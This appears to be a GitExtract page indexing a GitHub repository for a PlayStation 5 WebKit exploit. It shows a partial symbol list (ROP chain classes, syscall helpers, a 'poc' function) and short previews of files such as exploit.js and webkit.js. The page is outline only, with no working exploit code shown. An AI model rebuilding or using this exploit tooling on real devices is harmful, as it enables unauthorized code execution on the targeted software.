    method increment_dword (line 253) | increment_dword(address) {
  class worker_rop (line 261) | class worker_rop extends rop {
    method constructor (line 263) | constructor(stack_size, reserved_stack) {
    method clear (line 268) | clear() {
    method call (line 273) | async call(rip, rdi, rsi, rdx, rcx, r8, r9) {
    method syscall (line 280) | async syscall(sysc, rdi, rsi, rdx, rcx, r8, r9) {
    method run (line 284) | async run() {
  class thread_rop (line 290) | class thread_rop extends rop {
    method constructor (line 291) | constructor(name = "rop_thread", stack_size, reserved_stack) {
    method spawn_thread (line 314) | async spawn_thread() {

FILE: webkit.js
  function hex (line 12) | function hex(n) {
  function poc (line 18) | function poc() {
Condensed preview — 7 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (64K chars).
[
  {
    "path": ".github/README.md",
    "chars": 6952,
    "preview": "# Exploring the Playstation 5 Security - Userland\r\n---\r\n## Introduction\r\nThe PlayStation 5 was released on November 12"
  },
  {
    "path": "exploit.js",
    "chars": 24757,
    "preview": "//Common chain\nlet chain;\n//Bases\nlet libSceNKWebKitBase;\nlet libSceLibcInternalBase;\nlet libKernelBase;\n//ASLR defeat p"
  },
  {
    "path": "index.html",
    "chars": 2127,
    "preview": "<html>\n\n<head>\n    <title>pOOBs4 9.00 & pOOBs5 4.03</title>\n    <meta name=\"viewport\" content=\"width=device-width, initi"
  },
  {
    "path": "int64.js",
    "chars": 2031,
    "preview": "function int64(low, hi) {\n    this.low = (low >>> 0);\n    this.hi = (hi >>> 0);\n\n    this.add32inplace = function (val) "
  },
  {
    "path": "rop.js",
    "chars": 10455,
    "preview": "class rop {\r\n\r\n    constructor(stack_size = 0x40000, reserved_stack = 0x10000) {\r\n        this.stack_size = stack_size;\r"
  },
  {
    "path": "rop_slave.js",
    "chars": 95,
    "preview": "let my_worker = this;\n\nself.onmessage = function (event) {\n    event.ports[0].postMessage(1);\n}"
  },
  {
    "path": "webkit.js",
    "chars": 14687,
    "preview": "var PAGE_SIZE = 16384;\nvar SIZEOF_CSS_FONT_FACE = 0xb8;\nvar HASHMAP_BUCKET = 208;\nvar STRING_OFFSET = 20;\nvar SPRAY_FONT"
  }
]

About this extraction

This page contains the full source code of the ChendoChap/PS5-Webkit-Execution GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 7 files (59.7 KB), approximately 20.4k tokens, and a symbol index with 39 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!